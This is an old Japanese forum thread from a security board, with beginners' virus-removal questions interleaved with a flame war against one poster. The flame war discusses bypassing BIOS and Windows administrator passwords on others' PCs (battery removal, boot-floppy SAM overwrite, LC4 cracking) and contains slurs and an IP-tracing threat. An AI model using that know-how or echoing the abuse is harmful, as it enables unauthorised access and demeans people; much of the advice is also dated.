Andrew 2003/11/12 vgjgoema 24k
Daniel 2003/11/12 jehzjzs 24k

>>231
Outpostやその他、それ自体の質問ではなく、藪パソ氏のレスについての質問なので
それら、該当スレッドで聞くべき問題ではありません。

>>234
スパムなりウイルスなりだろうから、消せ。

>>234
心当たりないメールは手を触れずに速攻削除。送信者が外人だったら
まず百パーセンとウィールスかスパムか変態ナンパメールだ。件名や
添付ファイル名が無意味な文字列だったら二百パーセントウィールスｗ

>>231　>>235のいうとおり。藪パソに対する質問なんだから藪が出没する
スレならどこのスレで質問してもいい。ましてここは藪が立てたスレだｗ

質問スレでなければ藪がどんなアフォを書こうと勝手。質問スレでは実害がある。
セキュ板質問スレでの藪の妄想電波大嘘罵倒誹謗撒き逃げはもう許さん、ということ。

　

キチガイ糞パソユーザー出て来いよ、第２のネオ麦茶候補なんだから（ｗ

>>234

ウィルスメールを集めるつもりがなければ削除してください。
ウィルスメールを集めたいなら、アンチドートでスキャンしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504
アンチドートならメールフォルダ上からでも反応します。
メールフォルダからメールを取り出せばノートンとバスターも反応します。
しかし、それでも反応しないウィルス対策ソフトもあります。
（どこの社のソフトと明言すると、そこの社員に粘着されるので
言いませんが、ウィルス対策ソフトの検出力テストにも使えます。）

尚、メールから添付ファイルを分離すれば（新種・珍種以外のウィルス）
なら、すべてのウィルス対策ソフトは反応します。

ﾌﾞﾗｸﾗ注意

ハァ？

既出だったら申し訳ありません。
以前、某スピード計測サイトを利用中、突然パソコンがダウン自動的に再起動しました。
その後、ネットに繋がらなくなったため調べてみると、LANボードドライバが消えていました。
再度ドライバをインストール、無事繋がって事無きを得ました。
メーラーを開くとウイルスらしきメールが２通と、知らない人から「お宅のPCウイルス感染してますよ」というメールが１通。
ウイルスバスターを入れてたのにと憤慨しましたが、後処理を行いそれはそれで済んだかに思いました。
しかし、どうもブラウザの表示速度が遅くなった感じがして
調べた結果、下りのみ１５Mあったものが２Mまでダウンしてました。上りは変化ありません（５Mくらい）。
他のパソコンでは症状がでないので、ケーブル・ルーター等は問題ないと思います。
新しいLANボードに交換、OS（98se）の再インストールもしてみましたがダメでした。
速度以外は問題なく動いているように思います。

PCに詳しくないため、何処が壊れたのかさっぱりわかりません。
他のサイト、パソコンに詳しい知人にも質問したのですが、明解な回答が得られませんでした。
判る方がいらっしゃいましたらよろしく御願いします。

>>243
トリップ付け忘れてますよｗ

>>244

ウィルスメールを受け取っても見たり添付ファイルを実行したり
しなければ感染しません。
また、Windowsをきちんとupdateしてたらメールを見ても添付ファイルを
実行しなければ感染しません。
添付ファイルを実行されたのですか？Windowsのupdateをしてなかった
のですか？

ウイルスらしきメールでもウィルスメールとは断言はできません。
知らない人から「お宅のPCウイルス感染してますよ」というメールが
あってもウソかもしれません。
ウイルスバスターをこまめにupdateしててリアルタイム検索してれば
感染の可能性は非常に低くなります。ただし、ウイルスバスターを無効化
するウィルスもあるのでアンチドートでスキャンしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504
ウィルスに感染してるのか、感染してたらウィルス名がわからないと対策が
困難です。

精神的ﾌﾞﾗｸﾗ

リンク先が間違っています。
http://pc.2ch.net/test/read.cgi/sec/1003987914/509

>>244
＞以前、某スピード計測サイトを利用中、突然パソコンがダウン自動的に再起動しました。
＞その後、ネットに繋がらなくなったため調べてみると、LANボードドライバが消えていました。

Me使っていて同じようなことがあるけど、パソコンに負荷が掛かると勝手にダウンして再起動する。
俺の場合はサウンドドライバだったけど、OS再インストールで直った。

で、もしかしてWindowsupdateした？
http://pc2.2ch.net/test/read.cgi/win/1058432530/l50によると、
あるパッチを入れるとブラウザの調子が悪くなるらしいです。
で、再インストールしたんならウイルスは消えてるだろうし、
パケットサイズ変更とかの設定をし忘れてるなら設定してみるとか。

>>241
遅すぎるんですけど(w

（どこの社のソフトと明言すると、そこの社員に粘着されるので
言いませんが、ウィルス対策ソフトの検出力テストにも使えます。）


アンチドートの宣伝をするたび、何円もらえるんですか？

このスレはチンパンジー愛ちゃん以下の脳みその薮パソを楽しくウォッチングするスレです。



比較してごめんなさい、愛ちゃん。

http://qb3.2ch.net/test/read.cgi/operate/1067934488/849
これ、結局どうなったんですか？

>>253
どーもこーも薮の自意識過剰で終了

こいつから毎日のようにウィルス送られてくるねんけどどうしたらいい？

Return-Path: <[email protected]>
Received: from mail.grandcomfort.co.jp (mail.grandcomfort.co.jp
[164.46.105.83])

こいつ

こいつかな？
ttp://www.navi-x.co.jp/owners/interview04.htm

>>255
普通に受信拒否したら？

>>256-257

まあ、その人の所から来てるならその人のパソコンがウィルスに
感染してるのでしょうね。
ただ、Klezのように差出人偽装するウィルスもあるので断定は
できませんが、すでに↓を踏まえた上で差出人特定されたなら
知らせてあげても良いんじゃないですか？
http://pc.2ch.net/test/read.cgi/sec/1030175440/2

してるんだけど、、、
毎回違うアドレスで来るから困ってる。
Kles_Hだからかなぁ

初めてこの板に来ました。
どうしても解決することが出来ないため、
何らかの対策を教えていただけると助かります。

「Wincfgman32.exe」というプロセスが無駄にCPU使用率を
他プロセスと合わせて100%に持っていきます。
「SPOOLSV.exe」というプロセスもたまに見かけます。

Google、各種アンチウィルスメーカー、ここの過去ログを検索しましたが、
何も情報を得られませんでした。

いずれかのプロセスが起動しているときに、
explorerでのD&Dが聞かなくなったり、
ファイルの検索、レジストリエディタを起動すると、
数秒のうちに終了されてしまいます。
タスクマネージャーで強制終了を行おうとするとアクセスが拒否されてしまうため、
セーフモードでの自力駆除に成功しましたが、
次に通常モードで立ち上げるときには既に復活されています。

ウィルスバスター（パターンファイル676）でも引っかかりません。
どなたか情報お持ちの方いらっしゃいましたらご教授お願いします。

>>261
msconfigでスタートアップの項目を精査
怪しいのをひとつずつ停止、再起動を繰り返しWincfgman32.exeが作成されなくなるまで
がんばる

もしかしたらで

スパイウェア削除ソフトSpybot ５
http://pc.2ch.net/test/read.cgi/sec/1057338156/l50
スパイウェア発見専用ソフト「Ad-aware」Part7
http://pc.2ch.net/test/read.cgi/sec/1058423961/l50

も試してみたら？

SPOOLSV.exeはともかくWincfgman32.exeという謎のプロセスが動いているのは怪しいね。
ちなみにFW入れてる？　OSは何？

>>261
Downloaded Program（ActiveXのキャッシュ）は見たかや？

Ad-awere とSpybotは一長一短あるから両方試したほうがいい。

アンチスパイかけてもダメなら…
被害対策の部屋サイトマップ
http://higaitaisaku.web.infoseek.co.jp/menu2.html
HighjackThisツールの使用方法
http://higaitaisaku.web.infoseek.co.jp/hijackthis.html
このツールはなかなかすぐれもの。アンチスパイが入り
こみそうなレジストリの値を監視、安全に削除できる。

それでも悪いのが戻ってくるようなら
【FWと併用】System Safety Monitor
http://pc.2ch.net/test/read.cgi/sec/1061788093/
使って何が悪さをしているのか監視する手もある。

>>261
間違いなくBlaster系だと思うが、ノートンのページでオンラインスキャンしてきてみぃ。

>>261
その手のは、レジストリのスタートアップの方に登録するから、そっちを探した方がいいね。
もしかしたら、サービスの方に登録されているかもしれないから、サービスも探した方がいい。

初めまして、よろしくお願いします。
今日帰ってきてPCを見てみるとノートン先生が
W32.Spybot.Worm を発見、削除したというようなウイルス警告を出していました。
ログの時間は5:45この時間寝ていたのでPCは触っていません。
発生源：C:\DOCUMENTS AND SETTINGS\ALL USERS\DOCUMENTS\explore.exe
です。シマンテックのウイルス情報はこちら
http://www.symantec.com/region/jp/sarcj/data/w/w32.spybot.worm.html
なぜこのようなウイルスがこのフォルダに出来たのでしょう、
このままPCを使用していて問題ないのでしょうか。
今何をすべきかわからず、取り合えずウイルススキャンをかけています。

ワームだからではないかと

>266
PC電源入れたままだったの？
そうでなければ藻前さんのPCの時計が狂ってるとか無い？

>>261

アンチドートでウィルスチェックしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

>>266

まさか一晩中ファイル交換でパソコン放置してたのでは？
他にも何か放り込まれてるのかもしれませんね。
安全策を採るならWindows再インストール。
それが面倒ならアンチドートとPestPatrolでスキャンしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

レスありがとうございます。
267さん
ワームだから問題ないこういうものだということでしょうか。
268さん
PCの電源は入れたままです。
環境は常時接続ADSLモデム直でルーターはさんでいません、OSはXPHOMEです。
そのときはUNKNOWNでIRCに接続したまま放置でした。他のソフトは動いていません。

>>271
だれも問題ないなんていってないだろ。
ワームがなんだか分かってﾚｽしてるのか？

構わん。安全対策の取れていないpcは、みんな壊れてしまっても自業自得だ。

壊れる前に迷惑なモノをばらまきまくられては迷惑だ

もう汚れてしまったPCのことをとやかく言っても始まらない
明日だけを見て生きるのだ

AIDSに感染したから氏ぬまでヤリまくって
道連れ増やしてやろうというアレだな

藪パソユーザーさん。あなたはマイクロソフトの技術情報をあげて虚偽を
指摘されても（http://pc.2ch.net/test/read.cgi/sec/1068471471/102）取り消そうとしないばかりか、

http://pc.2ch.net/test/read.cgi/sec/1068471471/110 名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いています。虚偽の取り消しと暴言の謝罪をお願いして
まいりましたがまだ回答をいただいておりません。回答がいただけるまで
お願いを続けさせていただきますのでご承知おきください。

>薮パソユーザー
以下の二つの虚偽も訂正しなさい。

http://pc.2ch.net/test/read.cgi/sec/1001423524/152
> それから付け加えますと、共有というのは他のコンピューターを自分の
> コンピューターと同じように扱うという事なのでＢＩＯＳレベルに密接に
> 関連してると思いますけど。ただ、商業ベースのＢＩＯＳで共有の設定が
> できないだけでしょう。

http://pc.2ch.net/test/read.cgi/sec/1068471471/154
154 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/12 16:18
> >>150
>
> >「BIOSパスワードはBIOS書き換えウイルスの防御になる」
>
>
> これは機種によるみたいで、BIOSパスワードをはずさずに更新
> できるタイプには効力はありません。
> 誤解があるようなので補足しときます。

藪　日本人の成人男性のほとんどは身長150センチ以下ですよ
他　おれの高校の同級生に150センチ以下なんかいねーよ。
藪　特殊な例を持ち出されても困ります。
他　文部科学省の統計に平均身長170何センチって出てるぞ。
藪　文部省の統計は明治時代のものですよ。
他　去年の調べだよ。つったくどこに明治時代の統計なんか出てくるんだ？
藪　表題には去年と書けば最新の情報ということで文部省の役人はポート
　　　が開くから安全でしょうが確実ではありません。公務員試験の改革は
　　　が年内に実行できるかは小泉と亀井の力関係次第ですが、詳しいこと
　　　はネットランナーの今年の１月号をを読んでください。さらに念のため
　　　アンチドートでスキャンしてください。「復元ポイント」も実行してください。
他　日本人の成人男性の身長が150センチ以下という話しはどうなったんだよ？
藪　http://pc.2ch.net/test/read.cgi/sec/1068471471/110
　　 本当にしつこい馬鹿がいますね。

>>277
ホンに御前はヤのようなー






うぜぇーぜ、いい加減に消えろ

上げときます。

>>279
最後に「上げときます。 」追加よろ

上げときます。

キチガイが立てたスレを晒しあげておきます。

藪って性格悪すぎ、ネット以外じゃ誰にも相手にされないんだろうな。
さすが毎日昼真っからここに顔出しに来るネット依存症なだけあるな。

>>280
あとでアクセス禁止問題おきたときにあなたのＩＰ調べさせてもらいます。
ご承知おきください。

>>280
それ以外のプロバ所有の情報も裁判所の令状とれば調べれられますが
ご承知おきください。

ええと、>>286-287って

>　藪パソ　関連だよなｗ　|||||||||　|藪警告　||||||||とかなんとか
目立つ標識つけてくれないかなー。

>>283
藪パソユーザーさん。あなたはマイクロソフトの技術情報をあげて虚偽を
指摘されても（http://pc.2ch.net/test/read.cgi/sec/1068471471/102）取り消そうとしないばかりか、

http://pc.2ch.net/test/read.cgi/sec/1068471471/110 名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いています。虚偽の取り消しと暴言の謝罪をお願いして
まいりましたがまだ回答をいただいておりません。回答がいただけるまで
お願いを続けさせていただきますのでご承知おきください。

>>289　藪パソユーザーさん。
「上げときます」とトリップつきで無意味なカキコするからにはこのスレを
読んだはずですね？　暴言の謝罪をお願いします。　

http://qb2.2ch.net/test/read.cgi/saku/1027430636/126
>叩きをする者の多くは初心者スレで満足に答えれない無能な者でやっかみから
>しつこくつきまとって妨害しています。

http://qb2.2ch.net/test/read.cgi/saku/1027430636/138
>私はボランティアで初心者スレ等で質問に回答したら、
>回答能力のない常連達に妬まれやっかみから集団叩きの
>被害にあってます。

とかには突っ込まなくていいのか？；；

電波放ってますね。

>薮パソユーザー
以下の二つの虚偽を訂正しなさい。

http://pc.2ch.net/test/read.cgi/sec/1001423524/152
> それから付け加えますと、共有というのは他のコンピューターを自分の
> コンピューターと同じように扱うという事なのでＢＩＯＳレベルに密接に
> 関連してると思いますけど。ただ、商業ベースのＢＩＯＳで共有の設定が
> できないだけでしょう。

http://pc.2ch.net/test/read.cgi/sec/1068471471/154
154 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/12 16:18
> >>150
>
> >「BIOSパスワードはBIOS書き換えウイルスの防御になる」
>
>
> これは機種によるみたいで、BIOSパスワードをはずさずに更新
> できるタイプには効力はありません。
> 誤解があるようなので補足しときます。

本当に頭悪いんだな。パスワード上書きした後はフロッピー引っこ抜いて、リブートすりゃ
Windowsが立ち上がるんだよ。
お前、馬鹿だからその先も一応書いといてやる。
その先は、さっき上書きしたパスワードでログオンすりゃいい。

http://pc.2ch.net/test/read.cgi/sec/1068471471/287
> >>278-279　これで最後にしてください。
>
> 一般論として書いてあるからです。（一般論で書いてるのは
> 別パーティションがあればそこに別のWindowsをインストール
> するだけで回避できると単純なシロウトでもできる方法を明示する
> よりマイクイロソフトの責任を明確にせずに済むからでしょう。）
>
> 一般論で言えばインストールせずに別のＯＳを起動さえすれば
> データを盗んだりできるという事です。しかし、大量のファイルから
> 目当てのファイルを探すのは困難ですし、日本語の場合にはファイル
> 名の文字化け等の問題もあります。また、大量のデーターを短時間に
> 盗むのにインターネット回線を使うならやはりWindowsもしくは
> その互換ＯＳを起動した方が有利です。ですから、あなたの紹介
> したツールもa Windows-like environmentというのを実現できると
> いうのをセールスポイントにしてるのでしょう。

俺は、ブートフロッピーで解除は1分と言ったはずだぞ。
お前がバッテリー抜いてパスワード解除できると引用したページでは10分以上となっていたが、
3分で飛ぶことはどうやって確認したんだ? この嘘つき。

http://pc.2ch.net/test/read.cgi/sec/1068471471/275
275 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/13 12:52
> >>267
>
> マイクロソフトは別のＯＳ入れればパスワード回避できると言って
> ますがLinuxとは一言も言ってません。
>
> >>269
>
> >ちなみにfdかcdかは些末なことだと俺は思うが、
> >そんなに重要だと感じるなら、googleででも検索してみそ。
>
> 仮に、1ＦＤの解除デイスクが実在するなら（Linuxに精通してれば）
> 単一パーティションでも５分くらいで解除可能でしょうが、
> あなた方は口だけです。1ＦＤのLinuxブートディスクにフォーマット
> の異なるNTFSのパスワード解除ツールが入る余裕があるというのは
> 実例を示されないと信用できません。
> あなた方がそういうのが可能だと言うのですから示してください。

>>286
おどしてる積もりかよ（ｗ

ＨＤクラッシュのウイルスってなあに？
おせーてちょ

>>297

色々あるでしょうけど、有名なのはWhiterですね。
http://www.symantec.com/region/jp/sarcj/data/w/w32.whiter.trojan.html
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_WHITER.D

クラッシュの意味が違う気がします…

勝手に｢~｣というファイルができてしまうのですが
これはウィルスなんでしょうか？
履歴が消えたりすぐ固まったりしてPCの調子が良くないです。
PCの事はまるで無知なのですが教えていただけますか？

すみません少し前に同じ質問ありましたね。
読んできます。

昨日、突然大量にウイルスメールが送られてきたんです。
今までそんなことほとんどなかったんでﾋﾞｸｰﾘしますた。
で、今朝メールチェックしたらこんな文面のメールが…。

＞お客様各位
＞
＞11月14日（金）10時30分から12時30分にかけて、「DigiPaサポートセンター」か
＞ら一部のお客様宛に以下の件名でウィルスが含まれている可能性があるメールの
＞誤送信が発生いたしました。件名は「Net Security Update」「last net pack」
＞などウィルスにより無作為につけられたものです。
＞
＞
＞弊社のメールサーバ切替時にテスト使用したサーバがW32.Swen.A@mmに感染した
＞ことが原因です。大変ご迷惑をお掛けしましたことを深くお詫び申し上げます。（以下略）

…これは「氏ねやｶｽ」などと逝ってあげるべきでしょうか？
それとも、こういうことはよくあることなのでしょうか？
それなら軽く流すべきかとも思うのですが…。

>>302
鼻で笑うのが正解

決してν速とかにスレを立てないように！！
絶対立てるなよ、絶対だＺＯ

>>303
ええと、早くｽﾚ立てろ、と急かされている様にも感じるのですが…（ｗ
鼻で笑っておくことにします。ﾚｽありがとうございました（-人-)

>>295 道灌。ほんと、藪のような馬鹿なうえに強情なアフォにつける薬はない。

FD1枚でWindowsの管理パスを書き換えるツール、とこれだけヒント出して
やってもまだ見つからないんだからな。それでリンク貼るとまた意味不明の
クダ巻いてシカトする気だろ。藪はMSの技術情報もシカトだからな。

>>302
SWEN@MM(SWEN.A) スレ
http://pc.2ch.net/test/read.cgi/sec/1064010406/
見て味噌。

?????????????? 藪パソユーザー問題??????????????????????
http://tmp2.2ch.net/test/read.cgi/tubo/1068207529/48
> 「BIOSパスワードよりWindowsパスワードが強い」という一つの知ったかを
> 糊塗するために、これだけ嘘を重ねられるのは、一つの才能
> 「BIOSパスワードでBIOS書き換えウイルスを防御できる」
> 「NTFS読めるのはLindows」
> 「最近のパソコンは全て1パーティション」
> 「BIOSパスワードは初心者でもバックアップ電池抜いて簡単に消去できる」
> 「BIOSパスワード消去は3分」←自分で引用したページは10分
> 「Linuxのブートフロッピーはlinuxに精通して無いと作れない」　
（藪に作れないだけｗ）　これらに加えて
「Windows管理者パスワードを簡単に書き変えるツールは存在しない」（いくつもある。ぐぐれよ）
「あなたがたは口だけです」と誹謗

漏れのわ体験版だから、SAMわｺﾋﾟｰできても上書きできないんだな。
んでもLC4で解析わできるんだな。

>>300
ウイルスじゃなくて、修正プログラムのせい
330994 [MS03-014] Outlook Express 用の累積的な修正プログラム (2003 年 4 月)
ttp://support.microsoft.com/default.aspx?scid=kb;JA;330994

対象方法
825380 MS03-014 適用後 「~」というファイルが作成される
ttp://support.microsoft.com/default.aspx?scid=kb;JA;825380
Windows.FAQ - デスクトップに ~ というファイルが作成されます。Outlook Express で添付ファイルの保存先が記憶されません
ttp://homepage2.nifty.com/winfaq/c/oetrouble.html#1475

論理的思考の出来ない馬鹿は救いようが無いな。
議論の中で、パスワード破る対象は「他人のPC」だ。
どうやって、他人のPCの説明書を簡単に、そしてFDD1枚より安価に入手するんだ?

http://pc.2ch.net/test/read.cgi/sec/1068471471/181
181 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/12 17:52
> >>176
>
> 取扱説明書に書いてあるでしょう。
> ただし、ノートパソコンでははずしにくいものが多いそうですけど。

良くこういう嘘が平気でつけるなあ。知らない人が嘘に騙されないように解説しておきましょう。
最近のメーカー製のPCは扱いやすさを向上させるため、ドライバーなしで開けられるように
なっているものがあります。この場合マニュアルを見ないとケースの開け方がわからない場合があります。
最新のDELLのケースでつい最近はまりました。
次の障壁は省スペース性です。CMOSのバックアップメモリは頻繁に取り替えるものではないので、
アクセスしやすい場所に配置されているとは限りません。最悪HDDを取り外さ無いとアクセス出来ないかもしれません。
運良く、ここまでたどり着けたとしましょう。しかし馬鹿がhttp://pc.2ch.net/test/read.cgi/sec/1068471471/109
でほざいている手順では3分でクリアできません。
ftp://ftp.asus.com.tw/pub/ASUS/Barebone/Pundit/manual/j1181_pundit.pdfの5-10を見てみましょう。
バッテリーを取り外した後に「3 下図の端子をショートさせる」という手順が必要です。
この機種は、バッテリーの交換時にバックアップするコンデンサーがあるからです。
という事で、馬鹿がhttp://pc.2ch.net/test/read.cgi/sec/1068471471/109でほざいていることは
全くの大嘘です。

http://pc.2ch.net/test/read.cgi/sec/1068471471/109
109 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/12 11:42
>
> デスクトップ機のBIOSパスワードはBIOSバックアップ用リチウム電池を
> はずせば簡単に解除できます。３分で解除可能です。これはシロウトでも
> できます。一部のノートパソコンでも電池をはずすかジャンパでBIOS
> パスワード解除できます。

455 名前：名無しさん＠お腹いっぱい。 ：03/11/15 18:41
【ＢＩＯＳ】パスワードどっちが強い？【Windows】
http://pc.2ch.net/test/read.cgi/sec/1068888218/

スレ立ったみたいだから、
・BIOSパスvsWinパス
・現行マシンのパーティション数
などの話はそっちでやってください。

このスレではスレ違いであり、それを続けるなら嵐も同様です。
薮さんが中心となっているので、藪さんから積極的に移動していただけると助かります。
少しでもセキュリティ初心者の事を考えるなら、お願いします。

>>312
藪、とうとうコテハン使うの止めたのか？

>>312
このアスペルガーなもったいぶったアフォな口調は藪でしょう。
こんなアフォが同時に二人もセキュ板にいるという可能性は
無限小　ｗｗ

それでも人体が発する放射線でPCが誤作動するよりはあり得るがな（藁

VBS.Terrosistってウィルスに感染してしまいました
Folder.httって隠しファイルがｲﾊﾟｰｲ
駆除方法載ってるttp://www.symantec.com/region/jp/sarcj/data/v/vbs.terrosist.html
を見ても駆除できません
誰かお助け・・・

>>316
もちっと詳しく
どういう状況で駆除できないの？
「アクセス拒否」で削除できないの？
環境は？

>>312
「藪さん」かぁ？　自分を呼ぶのにサンづけするのは
ワダサン見習ったのか、くそ藪？

>>318
でも「藪さんが中心となっているので」はあってると思う。
自己中心って意味で

悪ファイルが削除できなかったら、
レジストリを修復→再起動→悪ファイル削除→(ﾟдﾟ)ｳﾏｰとなるはず。
シマンテックは「ノートン使え」というばかりで不親切。
トレンドのほうが（英文だが）詳しい。削除するレジストリの値を参考にしれ。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_TERROSIST.A

>>317
>>320

なんとか解決しました。
レスありが�dでした。

あのですね、

707を開けろ、通せと（素人知恵で一生懸命入れてみた）FWが言うのですが。

これ、なんでしょうか？
どっかからノックされてるんでしょうか？

>>322
それは外からの接続要求なのか、中からの接続要求なのか。
どっち？

>>322
OS、FW名、そのとき起動したアプリ、接続しようとした相手先、とかも報告てくれ。
（でないと害基地回答者の一方的なタワゴト聞かされるはめになるｗ）

ありゃ、今晩は害基地粘着誹謗罵倒回答者出てこないね。英気を蓄えてるのか？　ｺﾜ

>>323
>>324

うわありがとう。
名称忘れましたが、「SVCHOST」の偽者を使っている
ワームに感染してました。
（偽者＝大文字、Win32以下の”WINS”ディレクトリにいました。）

まったくいつの間に・・・

>>326
それはMSBlast.D=Nachi=Welchiaワームと思われ。対策しないと
再感染するぞ。
Blasterスレ　part5
http://pc.2ch.net/test/read.cgi/sec/1065964513/
に詳しい情報がある。

WinUpdateやXPのアクティべーションより先にルータやPFWの設定を済ませろ。

しかし、>>322氏のパソコンがNachi（Welchia）ワームに感染したと
すれば、どうしてＦＷがありながらNachi（Welchia）ワームに感染した
のでしょうか？何というＦＷか知りたいですね。

ウイルスバスターが反応。「駆除できませんでした」さらに「隔離できませんでした」。
でもＰＣに特別異変は起きません。ウイルス検索しましたが感染ファイルは一つも出ず。
これってウイルスに感染してるんですか？

あと、ウイルスに感染すると個人情報漏れたりしますか？ネット通販しない方がいいのかな？

ウィルスに感染したようで、ＩＥを開くことができません。
htmlファイルに
<script language=vbscript>
document.write "<div style='position:a　…
といった文字列が組みこまれてます。
ウィルス情報など調べたのですがウィルス名すらわかりません。
ブラスターとも違うようですし…

>>330

ウィルス対策ソフトを常駐で作動させている場合、初期設定では
駆除も隔離もできないタイプのウィルスは「削除」しますので
心配ないと思います。
最近は個人情報を送信するワームが多く発見されてます。
それ以上に危険なのは悪質アダルトサイトの悪質スクリプトです。
このダウンローダーはトロイに分類されている場合でウィルスとして
分類される場合もありますがウィルスに分類されてない場合も
あります。そういうサイトにセキュリティーレベルを下げて行ったり
Windows updateせずに行ったりすると最悪の場合は重要個人情報を
抜かれる危険があります。

>>331

アンチドートでウィルスチェックしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

>>331

Redlofの可能性が高いですので、Redlofの場合には↓見てください。
http://members.jcom.home.ne.jp/aisora/subREDLOF.htm

ウィルスでない場合にはad-awareでスパイウェアもチェックして
ください。

尚、ＶＢスクリプトウィルスや悪質スパイウェアの多くは
Windows updateによって防止できますので必ずWindows update
してください。

ウィルスチェックしてみましたが、ウィルスは見つかりませんでした。
相変わらずＩＥは強制終了されてしまいます。
どうすれば良いのでしょうか？

>>335
スパイウェア削除ソフトSpybot ５
http://pc.2ch.net/test/read.cgi/sec/1057338156/l50
スパイウェア発見専用ソフト「Ad-aware」Part7
http://pc.2ch.net/test/read.cgi/sec/1058423961/l50

これもやっておいで

>>334　藪パソユーザーさんへお願い
あなたは「BIOSパスワードよりWindowsパスワードが強い」という一つの知ったかを
糊塗するために「最近のパソコンはみなパーティションが一つだけ」というのｵｵﾜﾗｲな
電波を流していますが、あなたの最近の大嘘の中では実害は少ない方でしょう。しかし、
あなたはマイクロソフトの技術情報をあげて虚偽を指摘されても
（http://pc.2ch.net/test/read.cgi/sec/1068471471/102）取り消そうとしないばかりか、

http://pc.2ch.net/test/read.cgi/sec/1068471471/110
名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いていますね。こういう虚は実害があります。初心者、部外者は
あなたがコテハンで多数のレスをつけているとうことだけで「２ｃｈの権威」と誤解
するおそれがあるので「粘着ｱﾗｼは放置」というわけにはいかないと思います｡
嘘を訂正し暴言を謝罪してからコテハン使うようにお願いします。

また藪パソさんは「Outpostはデフォールトでブラスターを防げない」というデマを執拗に
流していましたね。質問者のみなさんは、このコテハンのいうことには十分注意してください。

アンチドート宣伝員は書き込む際の注意にある通り、広告料を払いなさい。

Redlof.Aに感染してしまいました…。
いくつかのサイトを見てRedlofsterを使ったんですが、
他にもするべきことはありますか？
htmlのファイルは全部消すしかないのでしょうか？

ワクチンソフトを買ってくる事

>>340
はい、今度の休みあたりにでも買ってくることにします。
…ノートンでいいのでしょうか？
今まで怠りすぎですね

>>341
あと、Windowsアップデートしなさい。
http://windowsupdate.microsoft.com/

>>342
すいません、アップデートはネットに繋いでなくても出来ますか？
感染した家のPCは繋いでないので…（書かなくてすいません

Windowsカタログか、MSのｾｷｭﾘﾃｨ情報のページや、ダウンロードセンター
で繋いでるのPCでパッチ類落として繋いでないのにCD-Rとかでコピー

しかし繋いだ方が圧倒的に速い
素人でなくともお勧めしない、無駄な行為

htmlは大丈夫なのか気になるのですが…

>>344
繋ぎたいのですが…家の都合で…

>340
>342
>344
まとめてになってしまいますが、レスありがとうございました

>>345
HTMLのソースから感染コードを消せば大丈夫かと。

しつこくてすみません。
スパイウェアの削除もwindowsのアップデートもしましたが、
やはり状況はそのままです。
ウィルススキャンしてみてもウィルスは検出されませんでしたと出るだけで
まだウィルスの名前すらわかりません。
どなたかわかる方いらっしゃいませんか？

セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/

Workstation サービスのバッファオーバーランにより、コードが実行される (828749) (MS03-049)
http://www.st.ryukoku.ac.jp/~kjm/security/memo/#20031112_MS03-049
EEYE: Windows Workstation Service Remote Buffer Overflow (eEye、2003.11.12)
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00140.html
MS03-049が危険な理由 (ZDNet)
http://www.zdnet.co.jp/enterprise/0311/14/epn02.html

あなたが送られたファイルに関する情報や現在の状態をお知らせします。
ファイルを分析しました。送られたそれぞれのファイルについてわかったことを
以下に報告します。
ファイル名:
結果: このファイルは次のウィルスに感染しています:
Hacktool.WKRShell
デベロッパーノート:
ファイル名 is non-repairable threat. NAV with the latest beta definition detects this. Please delete this file and replace it if neccessary. Please follow the instruction at the end of this email message to install the latest beta definitions.

Hacktool.WKRShell is non-repairable threat. NAV with the latest beta definition detects this. Please delete this file and replace it if neccessary. Please follow the instruction at the end of this email message to install the latest beta definitions.

ご提出いただいたサンプルについて、シマンテック・セキュリティ・レスポンスはウイルス、ワームまたはトロイの木馬に感染していると判断いたしました。
（Ｃ）2003 シマンテック・セキュリティ・レスポンス
（Ｐ）2003 シマンテック・セキュリティ・レスポンス

>>349
コピペ邪魔

>>331へのフォローはどうなりましたか？

皆様のご回答、よろしくお願い致します。
下記アドレスのウィルスに感染いたしました。
うかつにも、添付ファイル付のメールを実行してしまった事が
先日ありましたので、それが原因ではないかと思っております。
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_SMAL.13.DRP&VSect=T

ただ、上記サイトの対処法など、様々な術は尽くしましたが、
一向に改善いたしません。
詳しく言いますと、明記されているレジストリの値がないため
削除できず、MSGSRV32.EXE というファイルが常に実行されており
削除できません。
セーフモードでも削除できませんでした。

また、感染しているファイルも検索できません。

ちなみに使用ＯＳはＭｅです
よろしくお願い致します。

さっき気づいたのですがdxsound.exeというのが常駐してました。
ぶつはc:\windowsにあって日付は１０日前ほどのもの。
レジストリのrunのとこにも実行する記述がありました。
googleで検索しても何も出ないけどこれも例のごとくバックドア型トロイかな？
こんなことが良くあるんだなぁ。ちなみにアンチウィルスソフトでは感知できず。

>>353
トロイかワームの確立高し
FWは反応しない？
常駐解除して様子みときな。　PCに不都合なければ削除

>>352
本当に感染しているの？
以下自己責任で、
タスクマネージャから、MSGSRV32.EXEを強制終了する。
スキャンして、発見されたら、このトロイを削除

>>352

Windows MEならシステム復元機能で感染前の時点に戻してから
一旦、復元機能を無効（復元ポイントにウィルスが含まれていると
除去できないので）にしてウィルスチェックして除去してください。
場合によってはセーフモードで起動してください。
ウィルス除去後に再度システム復元機能を有効にしてください。

>>353

10日ほど前に無料ソフトをインストールしたりしませんでしたか？

Windows XPかMEなら１０日以上前に復元してください。
それ以外ならad-awareとspybotでスパイウェアチェックして
Pestpatrolでもチェックしてください。
尚、ウィルスが心配ならアンチドートでスキャンしてください。
